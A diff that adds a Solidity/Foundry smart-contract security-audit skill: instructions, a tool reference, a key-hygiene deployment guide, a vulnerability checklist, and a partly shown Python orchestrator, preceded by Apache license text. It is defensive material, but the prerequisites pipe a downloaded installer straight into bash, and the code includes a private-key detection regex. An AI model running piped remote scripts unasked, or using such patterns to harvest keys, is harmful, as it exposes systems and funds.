copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,170 @@
---
name: auditing-foundry-smart-contract-security
description: >-
Pre-deployment security audit of Solidity smart contracts in a Foundry project.
Combines static analysis (Slither, Aderyn), symbolic execution (Mythril), and
property-based testing (forge fuzz + invariant tests with handlers) to catch
reentrancy, access-control, oracle/price manipulation, and arithmetic bugs
BEFORE deploying to an EVM chain. Also enforces key hygiene (no plaintext
private keys, encrypted cast keystore) and a secure deploy workflow. Use when
writing, reviewing, testing, or deploying Solidity/Foundry contracts, building
a dApp, or working with forge/cast/anvil, MetaMask, or Web3/DeFi code.
domain: cybersecurity
subdomain: blockchain-security
tags:
- solidity
- foundry
- forge
- smart-contract
- slither
- aderyn
- mythril
- reentrancy
- defi
- web3
- invariant-testing
- audit
version: "1.0"
author: devredious
license: Apache-2.0
based_on: mukul975/analyzing-ethereum-smart-contract-vulnerabilities
swc_registry: https://swcregistry.io/
mitre_attack:
- T1190
- T1059
---
# Auditing Foundry Smart Contract Security
## Overview
Deployed smart contracts are **immutable** and custody **real funds**, so a bug
shipped to mainnet cannot be patched — it can only be exploited. Most catastrophic
DeFi losses come from a small set of recurring classes: reentrancy, broken access
control, oracle/price manipulation, and unchecked arithmetic or external calls.
This skill runs a **defense-in-depth, pre-deployment audit** of a Foundry project,
layering four independent techniques that each catch what the others miss:
1. **Static analysis**`slither` (90+ detectors) and `aderyn` (Cyfrin, Rust) scan
the AST/IR in seconds for known anti-patterns.
2. **Symbolic execution**`mythril` (optional, slow) explores execution paths and
SMT-solves for deep arithmetic/reentrancy bugs.
3. **Property-based testing**`forge test` with **fuzzing** (`testFuzz_*`) and
**invariant tests** (`invariant_*` + handler contracts with ghost variables)
proves protocol-level properties hold across millions of random sequences.
4. **Manual review + key hygiene** — a structured checklist (see
`references/vulnerability-checklist.md`) and a secrets/keystore audit so no
private key ever lives in plaintext and deployment goes through an encrypted
`cast` keystore (see `references/secure-deployment-and-keys.md`).
The skill is **dev-side and pre-deployment** — it is run by the engineer building
the contract, not by a SOC after an incident. Findings gate the deploy: any
high/critical static finding, failing test, leaked key, or low coverage = **FAIL**.
## When to Use
- Before deploying any Solidity contract to a testnet or mainnet EVM chain.
- When writing or reviewing a Foundry project (`foundry.toml`, `src/`, `test/`, `script/`).
- When a contract handles value: tokens (ERC-20/721/1155), vaults, staking, AMMs, bridges, governance.
- When adding fuzz or invariant tests, or when coverage of value-moving functions is unknown.
- When wiring deployment scripts — to verify keys are in an encrypted keystore, not `.env` plaintext.
- When integrating a price oracle, external call, `delegatecall`, or upgradeable proxy.
- When triaging a Slither/Aderyn report and needing to separate real bugs from false positives.
## Prerequisites
- **Foundry** installed (`forge`, `cast`, `anvil`): `curl -L https://foundry.paradigm.xyz | bash && foundryup`
- **Slither** + solc: `pip install slither-analyzer` and `solc-select install <ver> && solc-select use <ver>`
- **Aderyn** (recommended): `cargo install aderyn` (or `npm i -g @cyfrin/aderyn`)
- **Mythril** (optional, slow symbolic exec): `pip install mythril`
- **gitleaks** (key-leak scan): see the companion `implementing-secret-scanning-with-gitleaks` skill
- A Foundry project that **compiles** (`forge build` succeeds) — analyzers need build artifacts.
- Solidity ^0.8.x is assumed (built-in overflow checks); pre-0.8 contracts need extra SafeMath review.
> Install the Python tools in a virtualenv (recommended on externally-managed distros). Never run
> analysis against untrusted contract source on a machine with funded wallets unlocked.
## Steps
### Step 1: Build and sanity-check the project
```bash
forge build # analyzers require fresh artifacts
forge fmt --check # style gate (optional)
cat foundry.toml # note solc version, optimizer, remappings, evm_version
```
### Step 2: Static analysis (fast, run every time)
```bash
# Slither — full project (uses foundry.toml + remappings automatically)
slither . --json slither-report.json
# Aderyn — Cyfrin Rust analyzer, complementary detectors
aderyn . -o aderyn-report.json
```
Or run the bundled orchestrator that runs both, deduplicates, and gates the result:
```bash
python3 scripts/agent.py --project . --output audit-report.json
```
### Step 3: Symbolic execution on critical contracts (optional, slow)
```bash
# Only on the highest-value contract(s) — Mythril is path-explosive
myth analyze src/Vault.sol --solc-json mythril.config.json --execution-timeout 300 -o json
# or: python3 scripts/agent.py --project . --mythril src/Vault.sol
```
### Step 4: Property-based testing — fuzz + invariants
```bash
forge test -vvv # unit + fuzz tests
forge coverage --report summary # coverage of value-moving code
forge test --match-test invariant_ -vvv # invariant suite (handler-based)
```
Every value-moving contract should have **invariant tests with a handler** (bounded
inputs, ghost variables, `targetContract(handler)`) — not just unit tests. See
`references/api-reference.md` for the handler pattern, and write a
`test_RevertWhen_*` (with `vm.expectRevert`) for each access-control guard.
### Step 5: Manual review against the checklist
Walk `references/vulnerability-checklist.md` for every contract: reentrancy
(checks-effects-interactions / `nonReentrant`), access control, oracle manipulation,
`delegatecall`/proxy storage layout, unchecked return values, `tx.origin`, weak
randomness, DoS, front-running/MEV, and ERC-specific pitfalls (approve race,
fee-on-transfer, rebasing).
### Step 6: Key hygiene & secure deploy
```bash
gitleaks detect --no-banner # no private keys / mnemonics / .env committed
git ls-files | grep -E '\.env$|keystore' && echo "WARN: secrets tracked by git"
# Import the deploy key ONCE into an encrypted keystore — never a plaintext PRIVATE_KEY env
cast wallet import deployer --interactive
# Deploy via the keystore account (testnet first), simulate before --broadcast
forge script script/Deploy.s.sol --account deployer --rpc-url <testnet> --broadcast --verify
```
See `references/secure-deployment-and-keys.md` for the full hardening rules
(MetaMask hygiene, hardware wallet for mainnet, RPC trust, post-deploy verification).
### Step 7: Triage and report
Combine Slither + Aderyn + Mythril + test results, deduplicate by (file, line),
drop confirmed false positives, rank by exploitability × financial impact, and map
each to its SWC id. The orchestrator emits `audit-report.json` with a PASS/FAIL gate.
## Expected Output
A JSON audit report listing findings with **SWC identifiers**, severity, tool source,
affected contract/function/line, and remediation; plus the test/coverage summary and a
single **PASS / FAIL** deploy gate. FAIL on any high/critical static finding, failing
test, leaked secret, or coverage below the configured threshold on value-moving code.
@@ -0,0 +1,181 @@
# API Reference — Tooling
## Slither (static analysis)
```bash
slither . # whole project (reads foundry.toml + remappings)
slither . --json slither-report.json # machine-readable
slither . --json - # JSON to stdout (used by agent.py)
slither . --print human-summary # quick overview
slither . --print inheritance-graph # inheritance / proxy layout
slither . --detect reentrancy-eth,unprotected-upgrade # specific detectors
slither --list-detectors # all 90+ detectors
slither . --exclude-informational --exclude-low # focus high/medium
slither . --triage-mode # interactively suppress false positives -> slither.db.json
```
Severity matrix (impact × confidence):
| Impact | Confidence | Example detectors |
|--------|------------|-------------------|
| High | High | `reentrancy-eth`, `suicidal`, `arbitrary-send-eth` |
| High | Medium | `controlled-delegatecall`, `reentrancy-no-eth` |
| Medium | High | `locked-ether`, `incorrect-equality`, `tx-origin` |
| Medium | Medium | `uninitialized-state`, `shadowing-state`, `unchecked-transfer` |
| Low | High | `naming-convention`, `solc-version`, `low-level-calls` |
| Informational | High | `pragma`, `dead-code`, `assembly` |
## Aderyn (Cyfrin, Rust static analyzer — complementary to Slither)
```bash
aderyn . # markdown report.md by default
aderyn . -o aderyn-report.json # JSON (used by agent.py)
aderyn . --scope src/ # limit scope
```
## Mythril (symbolic execution — slow, use on critical contracts only)
```bash
myth analyze src/Vault.sol -o json
myth analyze src/Vault.sol --execution-timeout 300 --max-depth 50 -o json
myth analyze --address 0x... --rpc <url> # deployed bytecode (read-only)
```
## Foundry — testing
```bash
forge build # required before static analysis
forge test -vvv # unit + fuzz; -vvvv shows traces
forge test --match-contract VaultTest
forge test --match-test invariant_ # invariant suite only
forge coverage --report summary # line/branch coverage table
forge coverage --report lcov # for CI / tooling
forge snapshot # gas snapshots (DoS-by-gas review)
forge fmt --check # style gate
```
### Fuzz test (property over random inputs)
```solidity
function testFuzz_SetNumber(uint256 x) public {
counter.setNumber(x);
assertEq(counter.number(), x);
}
```
### Revert test (replaces deprecated testFail)
```solidity
function test_RevertWhen_Unauthorized() public {
vm.prank(attacker);
vm.expectRevert("Not authorized"); // or vm.expectRevert(MyError.selector)
target.adminOnly();
}
```
### Key cheatcodes (`vm.*`)
| Cheatcode | Use |
|-----------|-----|
| `vm.prank(addr)` / `vm.startPrank` | impersonate caller (test access control) |
| `vm.warp(ts)` / `vm.roll(n)` | manipulate `block.timestamp` / `block.number` |
| `vm.deal(addr, amt)` | set ETH balance |
| `vm.store(addr, slot, val)` | overwrite storage (test invariants under hostile state) |
| `vm.expectRevert(...)` | assert a call reverts (with msg / custom error selector) |
| `vm.expectEmit(...)` | assert events |
| `bound(x, lo, hi)` | constrain fuzz inputs in handlers |
| `makeAddr("name")` | deterministic labelled actor |
### Invariant testing — handler pattern (the important one)
A handler wraps the target, **bounds inputs**, rotates **actors**, and tracks
**ghost variables**; `targetContract(handler)` makes the fuzzer drive only the
handler so sequences stay realistic.
```solidity
// test/Invariant.t.sol
contract VaultInvariantTest is Test {
Vault vault;
VaultHandler handler;
function setUp() public {
vault = new Vault();
handler = new VaultHandler(vault);
targetContract(address(handler)); // fuzz the handler, not the vault directly
}
function invariant_ConservationOfDeposits() public view {
assertEq(address(vault).balance,
handler.ghost_depositSum() - handler.ghost_withdrawSum());
}
function invariant_Solvency() public view {
assertGe(address(vault).balance, vault.totalDeposits());
}
}
```
```solidity
// test/handlers/VaultHandler.sol
contract VaultHandler is Test {
Vault public vault;
uint256 public ghost_depositSum;
uint256 public ghost_withdrawSum;
address[] public actors;
address internal currentActor;
modifier useActor(uint256 seed) {
currentActor = actors[bound(seed, 0, actors.length - 1)];
vm.startPrank(currentActor); _; vm.stopPrank();
}
constructor(Vault _v) {
vault = _v;
for (uint256 i; i < 10; i++) { actors.push(makeAddr(string(abi.encodePacked("actor", i)))); vm.deal(actors[i], 100 ether); }
}
function deposit(uint256 amt, uint256 seed) external useActor(seed) {
amt = bound(amt, 0.01 ether, 10 ether);
vault.deposit{value: amt}(); ghost_depositSum += amt;
}
function withdraw(uint256 amt, uint256 seed) external useActor(seed) {
uint256 bal = vault.balanceOf(currentActor);
if (bal == 0) return;
amt = bound(amt, 1, bal);
vault.withdraw(amt); ghost_withdrawSum += amt;
}
}
```
Tune in `foundry.toml`:
```toml
[invariant]
runs = 256
depth = 128
fail_on_revert = false # set true once the handler fully constrains inputs
[fuzz]
runs = 10000
```
## SWC Registry (key entries)
| SWC | Title | Detected by |
|-----|-------|-------------|
| SWC-101 | Integer Overflow/Underflow | Mythril (pre-0.8 only) |
| SWC-104 | Unchecked Call Return | Slither + Mythril |
| SWC-105 | Unprotected Ether Withdrawal | Slither + Mythril |
| SWC-106 | Unprotected SELFDESTRUCT | Slither + Mythril |
| SWC-107 | Reentrancy | Slither + Mythril |
| SWC-112 | Delegatecall to Untrusted Callee | Slither |
| SWC-114 | Transaction Order Dependence (front-running) | manual |
| SWC-115 | tx.origin Authentication | Slither |
| SWC-116 | Block Timestamp Dependence | Mythril |
| SWC-120 | Weak Randomness | Slither + manual |
## References
- Slither: https://github.com/crytic/slither
- Aderyn: https://github.com/Cyfrin/aderyn
- Mythril: https://github.com/Consensys/mythril
- Foundry Book: https://getfoundry.sh/
- SWC Registry: https://swcregistry.io/
- Solidity security: https://docs.soliditylang.org/en/latest/security-considerations.html
- Solodit (audit findings DB): https://solodit.xyz/
@@ -0,0 +1,90 @@
# Secure Deployment & Key Hygiene
The contract code can be flawless and you still lose everything if a **private key
leaks** or you sign a malicious transaction. This is the part most smart-contract
guides skip. Treat keys as the highest-severity asset.
## Golden rules
1. **A real private key or seed phrase NEVER touches a file, env var, shell history, or git.**
2. Plaintext `PRIVATE_KEY=0x...` in `.env` is the #1 leak vector — use an **encrypted keystore** instead.
3. **Separate wallets**: a throwaway dev wallet (testnet only) ≠ the mainnet deployer ≠ your personal MetaMask with real funds.
4. **Hardware wallet (Ledger/Trezor) for any mainnet deploy or admin action** that controls funds.
5. Simulate before broadcasting; verify after.
## Foundry encrypted keystore (`cast wallet`)
Import the key once into an encrypted, password-protected keystore — then reference
it by name. The raw key never appears in commands or files again.
```bash
# Import interactively (key is typed, not in argv/history), set a strong password
cast wallet import deployer --interactive
# Or generate a fresh dev key directly into the keystore
cast wallet new
# List / inspect (addresses only)
cast wallet list
```
Deploy by **account name**, never by `--private-key`:
```bash
# Testnet first — simulate (no --broadcast) then broadcast + verify
forge script script/Deploy.s.sol --account deployer --rpc-url <testnet_rpc>
forge script script/Deploy.s.sol --account deployer --rpc-url <testnet_rpc> --broadcast --verify
# Mainnet (prefer a Ledger):
forge script script/Deploy.s.sol --ledger --hd-paths "m/44'/60'/0'/0/0" --rpc-url <mainnet_rpc> --broadcast --verify
```
In deploy scripts, use `vm.startBroadcast()` with **no argument** (it uses the
`--account`/`--ledger` signer). Avoid `vm.envUint("PRIVATE_KEY")`.
## Anti-leak controls (wire into the project)
```bash
# 1. .gitignore the usual suspects
printf '.env\n.env.*\n*.key\nkeystore/\nbroadcast/\n' >> .gitignore
# 2. Scan history + working tree for secrets (see the implementing-secret-scanning-with-gitleaks skill)
gitleaks detect --no-banner
gitleaks detect --no-banner --log-opts="--all" # full git history
# 3. Confirm nothing sensitive is tracked
git ls-files | grep -E '\.env$|\.key$|keystore' && echo "REMOVE THESE FROM GIT"
```
If a key was ever committed (even and then deleted): **consider it compromised**
generate a new one, move funds, and purge history (BFG / `git filter-repo`).
## MetaMask / wallet operational security
- Dedicated browser profile for Web3; review every signature — **read what you sign**.
- Beware **blind signing** and `eth_sign`/`personal_sign` phishing; reject opaque hex.
- Token **approval hygiene**: avoid unlimited `approve`; periodically revoke (revoke.cash); prefer `permit` with deadlines.
- Verify the **contract address and chain id** before interacting; bookmark dApps, don't follow links.
- Add networks/RPCs only from trusted sources — a malicious RPC can lie about state and simulate fake balances.
## RPC & dependency trust
- Pin a reputable RPC (your own node, or a known provider); a hostile RPC can feed false data to scripts and frontends.
- Pin dependency versions (`forge install` with a tag/commit; lock OpenZeppelin version). Re-audit on bumps.
- Verify deployed bytecode matches source on the explorer (`forge verify-contract` / `--verify`).
## Post-deploy checklist
- [ ] Source verified on the block explorer.
- [ ] Ownership/admin transferred to a **multisig** (Safe), not an EOA, for anything controlling funds.
- [ ] Timelock on privileged upgrades/parameter changes.
- [ ] Monitoring/alerting on critical events (large withdrawals, ownership changes, pause).
- [ ] Emergency runbook: pause + emergency-withdraw path tested on testnet.
- [ ] Deploy key rotated/retired if it ever touched a less-trusted machine.
## References
- Foundry deploying guide: https://getfoundry.sh/guides/deploying
- `cast wallet`: https://getfoundry.sh/cast/reference/wallet
- OpenZeppelin Contracts: https://docs.openzeppelin.com/contracts
- Safe (multisig): https://safe.global/
- revoke.cash (approval management): https://revoke.cash/
@@ -0,0 +1,78 @@
# Manual Review Checklist — Solidity / EVM
Walk this for **every** contract that moves value. Each item: what to look for →
how to confirm (Foundry test / Slither detector) → fix. Tools catch the known
patterns; this catches the logic bugs they can't.
## 1. Reentrancy (SWC-107)
- [ ] External call (`call`, `transfer`, ERC-777 hooks, ERC-721 `onERC...Received`, arbitrary token) **before** state updates?
- [ ] Cross-function / read-only reentrancy: a view used by another protocol mid-call?
- **Confirm:** Slither `reentrancy-eth`/`reentrancy-no-eth`; write an attacker contract test that re-enters in its `receive()`.
- **Fix:** Checks-Effects-Interactions order; `nonReentrant` (OpenZeppelin `ReentrancyGuard`); pull-over-push payments. ("OZ" = OpenZeppelin throughout.)
## 2. Access control (SWC-105/106/115)
- [ ] Every state-changing/admin function gated (`onlyOwner`, roles, custom modifier)?
- [ ] `initialize()` on upgradeable contracts protected against re-init and front-running?
- [ ] No `tx.origin` for auth (phishable) — use `msg.sender`.
- [ ] `selfdestruct` / `delegatecall` reachable only by trusted roles?
- **Confirm:** a `test_RevertWhen_*` with `vm.prank(attacker)` + `vm.expectRevert` for each guard.
- **Fix:** OZ `Ownable2Step` / `AccessControl`; `initializer` modifier; remove `tx.origin`.
## 3. Oracle / price manipulation (DeFi #1 exploit class)
- [ ] Price from spot `getReserves()` / a single AMM pool? (flash-loan manipulable)
- [ ] Using Chainlink: checked `updatedAt` staleness, `answeredInRound`, min/max bounds, L2 sequencer uptime?
- **Confirm:** fork test that manipulates the pool within one tx and asserts your protocol stays solvent.
- **Fix:** TWAP / Chainlink with staleness+deviation checks; never trust spot for pricing.
## 4. Arithmetic & rounding (SWC-101)
- [ ] Solidity ^0.8 (built-in checked math) — and any `unchecked{}` block justified?
- [ ] Division before multiplication (precision loss)? Rounding always in protocol's favor?
- [ ] Share-inflation / first-depositor attack on ERC-4626-style vaults?
- **Confirm:** `testFuzz_*` over amounts; invariant `assertGe(assets, shares-implied)`.
- **Fix:** mulDiv (OZ `Math.mulDiv`); virtual shares/offset for vaults; explicit rounding direction.
## 5. Unchecked external calls / return values (SWC-104)
- [ ] Return value of low-level `call`/`send` and ERC-20 `transfer`/`transferFrom` checked?
- [ ] Non-standard ERC-20s (no return, fee-on-transfer, rebasing) handled?
- **Confirm:** Slither `unchecked-transfer`, `unchecked-lowlevel`.
- **Fix:** OZ `SafeERC20`; measure balance delta for fee-on-transfer; require success.
## 6. delegatecall / proxy storage (SWC-112)
- [ ] Storage layout identical across implementation upgrades (no reordered/removed vars)?
- [ ] No `delegatecall` to user-supplied address; implementation can't be re-initialized/self-destructed?
- **Confirm:** Slither `controlled-delegatecall`, `unprotected-upgrade`; storage-layout diff between versions.
- **Fix:** OZ `UUPS`/`Transparent` proxies + storage gaps; `_disableInitializers()` in constructor.
## 7. Front-running / MEV / ordering (SWC-114)
- [ ] Approve race (ERC-20 `approve` from non-zero to non-zero)?
- [ ] Slippage / deadline params on swaps and mints? Commit-reveal where needed?
- **Fix:** `increaseAllowance`/`permit`; enforce `minOut` + `deadline`; commit-reveal for sensitive ordering.
## 8. Randomness (SWC-120)
- [ ] Any `block.timestamp`/`blockhash`/`prevrandao` used as randomness for value?
- **Fix:** Chainlink VRF; never on-chain pseudo-randomness for payouts.
## 9. Denial of service (SWC-113/128)
- [ ] Unbounded loops over user-growable arrays? Push payments that can revert and brick the contract?
- [ ] Single external dependency whose revert blocks all users?
- **Fix:** pull payments; bounded iteration / pagination; isolate failures.
## 10. Token / standard pitfalls
- [ ] ERC-20: decimals assumptions, fee-on-transfer, rebasing, missing return.
- [ ] ERC-721/1155: safe-transfer reentrancy hooks; approval scope.
- [ ] Permit (EIP-2612): replay, deadline, signature malleability.
## 11. General hygiene
- [ ] `pragma` pinned (`pragma solidity 0.8.26;` not `^`)? Latest stable solc?
- [ ] Events emitted for every state-changing action (off-chain monitoring)?
- [ ] No leftover `console.log` / test backdoors / hardcoded addresses?
- [ ] Pausability + emergency withdraw for value-holding contracts?
- [ ] Invariants written for every conservation law (total supply, solvency, accounting)?
## Severity triage (impact × likelihood)
- **Critical/High** → direct loss/lock of funds, unauthorized mint/withdraw, broken access control. **Blocks deploy.**
- **Medium** → loss under specific conditions, griefing, precision drift.
- **Low/Info** → best-practice, gas, style.
Cross-check real-world findings on **Solodit** (https://solodit.xyz/) for the contract type
you're shipping (vault, AMM, staking, bridge, governance).
@@ -0,0 +1,319 @@
#!/usr/bin/env python3
"""Foundry Smart Contract Security Agent.
Pre-deployment audit orchestrator for a Foundry project. Runs static analysis
(Slither, Aderyn), optional symbolic execution (Mythril), Foundry tests/coverage,
and a key-leak scan, then aggregates everything into a single JSON report with a
PASS/FAIL deploy gate.
Design constraints (mirrors the upstream repo's style, hardened):
- subprocess always called with an ARGUMENT LIST, never shell=True
- no outbound network calls; every tool runs locally on local source
- every external tool guarded by timeout and graceful degradation if absent
- read-only with respect to the project (only writes the report file)
"""
import os
import re
import json
import shutil
import argparse
import logging
import subprocess
from collections import defaultdict
from datetime import datetime, timezone
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
SWC_REGISTRY = {
"SWC-101": "Integer Overflow and Underflow",
"SWC-104": "Unchecked Call Return Value",
"SWC-105": "Unprotected Ether Withdrawal",
"SWC-106": "Unprotected SELFDESTRUCT",
"SWC-107": "Reentrancy",
"SWC-110": "Assert Violation",
"SWC-112": "Delegatecall to Untrusted Callee",
"SWC-113": "DoS with Failed Call",
"SWC-114": "Transaction Order Dependence (front-running)",
"SWC-115": "Authorization through tx.origin",
"SWC-116": "Block values as a proxy for time",
"SWC-120": "Weak Sources of Randomness",
"SWC-128": "DoS with Block Gas Limit",
}
SEVERITY_RANK = {"critical": 0, "high": 1, "medium": 2, "low": 3, "informational": 4, "optimization": 5}
# Directories that are dependencies / build output, not the audited code.
SKIP_DIRS = {"lib", "out", "cache", "node_modules", ".git", "broadcast", "artifacts"}
# A raw 32-byte hex private key (with or without 0x). High-precision signal: a
# 64-hex literal in source is almost always a key. Broader secret detection
# (mnemonics, API tokens, generic secrets) is intentionally delegated to gitleaks
# (see references/secure-deployment-and-keys.md) rather than reinvented noisily here.
PRIVKEY_RE = re.compile(r"\b(0x)?[0-9a-fA-F]{64}\b")
def _which(tool):
return shutil.which(tool) is not None
def _run(cmd, timeout):
"""Run a command (list args), return (returncode, stdout, stderr). Never raises."""
try:
p = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return p.returncode, p.stdout, p.stderr
except subprocess.TimeoutExpired:
logger.warning("Timeout: %s", " ".join(cmd))
return 124, "", "timeout"
except FileNotFoundError:
return 127, "", "not found"
# --------------------------------------------------------------------------- #
# Static analysis
# --------------------------------------------------------------------------- #
def run_slither(project):
if not _which("slither"):
logger.warning("slither not installed - skipping static analysis")
return None
rc, out, err = _run(["slither", project, "--json", "-"], timeout=300)
# Slither exits non-zero when it finds issues; JSON still lands on stdout.
if not out:
logger.error("slither produced no JSON (%s)", err.strip()[:200])
return {}
try:
return json.loads(out)
except json.JSONDecodeError:
logger.error("slither JSON parse failed")
return {}
def analyze_slither(slither_output):
findings, by_severity, by_detector = [], defaultdict(int), defaultdict(int)
for det in (slither_output or {}).get("results", {}).get("detectors", []):
severity = det.get("impact", "informational").lower()
by_severity[severity] += 1
name = det.get("check", "unknown")
by_detector[name] += 1
loc = ""
elems = det.get("elements", [])
if elems:
sm = elems[0].get("source_mapping", {})
lines = sm.get("lines") or [0]
loc = f"{sm.get('filename_short', '')}:L{lines[0]}"
findings.append({
"source": "slither", "detector": name, "severity": severity,
"confidence": det.get("confidence", ""), "location": loc,
"description": (det.get("description", "") or "").strip()[:240],
})
return {
"total": len(findings),
"by_severity": dict(by_severity),
"top_detectors": dict(sorted(by_detector.items(), key=lambda x: -x[1])[:15]),
"findings": sorted(findings, key=lambda f: SEVERITY_RANK.get(f["severity"], 9)),
}
def run_aderyn(project):
if not _which("aderyn"):
logger.info("aderyn not installed - skipping (recommended: cargo install aderyn)")
return None
report = os.path.join(project, "aderyn-report.json")
rc, out, err = _run(["aderyn", project, "-o", report], timeout=300)
try:
with open(report) as fh:
data = json.load(fh)
return data
except (OSError, json.JSONDecodeError):
logger.error("aderyn report not readable")
return {}
def analyze_aderyn(aderyn_output):
findings, by_severity = [], defaultdict(int)
if not aderyn_output:
return {"total": 0, "by_severity": {}, "findings": []}
for sev_key, sev in (("high_issues", "high"), ("low_issues", "low")):
block = aderyn_output.get(sev_key, {}) or {}
for issue in block.get("issues", []) if isinstance(block, dict) else []:
by_severity[sev] += 1
inst = (issue.get("instances") or [{}])[0]
loc = f"{inst.get('contract_path', '')}:L{inst.get('line_no', 0)}"
findings.append({
"source": "aderyn", "detector": issue.get("title", ""), "severity": sev,
"location": loc, "description": (issue.get("description", "") or "").strip()[:240],
})
return {
"total": len(findings),
"by_severity": dict(by_severity),
"findings": sorted(findings, key=lambda f: SEVERITY_RANK.get(f["severity"], 9)),
}
# --------------------------------------------------------------------------- #
# Symbolic execution (optional)
# --------------------------------------------------------------------------- #
def run_mythril(target, timeout):
if not _which("myth"):
logger.info("mythril not installed - skipping symbolic execution")
return None
rc, out, err = _run(
["myth", "analyze", target, "--execution-timeout", str(timeout), "-o", "json"],
timeout=timeout + 60,
)
if not out:
return {}
try:
return json.loads(out)
except json.JSONDecodeError:
logger.error("mythril JSON parse failed")
return {}
def analyze_mythril(mythril_output):
findings, by_swc = [], defaultdict(int)
for issue in (mythril_output or {}).get("issues", []):
swc = f"SWC-{issue.get('swc-id')}" if issue.get("swc-id") else "unknown"
by_swc[swc] += 1
findings.append({
"source": "mythril", "swc_id": swc,
"swc_title": SWC_REGISTRY.get(swc, issue.get("title", "")),
"severity": issue.get("severity", "Medium").lower(),
"location": f"{issue.get('contract', '')}:L{issue.get('lineno', 0)}",
"description": (issue.get("description", "") or "").strip()[:240],
})
return {"total": len(findings), "by_swc": dict(by_swc), "findings": findings}
# --------------------------------------------------------------------------- #
# Foundry tests + coverage
# --------------------------------------------------------------------------- #
def run_forge_tests(project):
if not _which("forge"):
logger.warning("forge not installed - skipping tests")
return {"available": False}
rc, out, err = _run(["forge", "test"], timeout=900)
text = out + err
passed = sum(int(n) for n in re.findall(r"(\d+)\s+passed", text))
failed = sum(int(n) for n in re.findall(r"(\d+)\s+failed", text))
return {"available": True, "exit_code": rc, "passed": passed,
"failed": failed, "all_passed": rc == 0}
def run_forge_coverage(project):
if not _which("forge"):
return {"available": False}
rc, out, err = _run(["forge", "coverage", "--report", "summary"], timeout=1200)
m = re.search(r"^\|\s*Total\s*\|\s*([\d.]+)%", out, re.M)
lines_pct = float(m.group(1)) if m else None
return {"available": True, "lines_pct": lines_pct}
# --------------------------------------------------------------------------- #
# Key hygiene
# --------------------------------------------------------------------------- #
def scan_key_leaks(project):
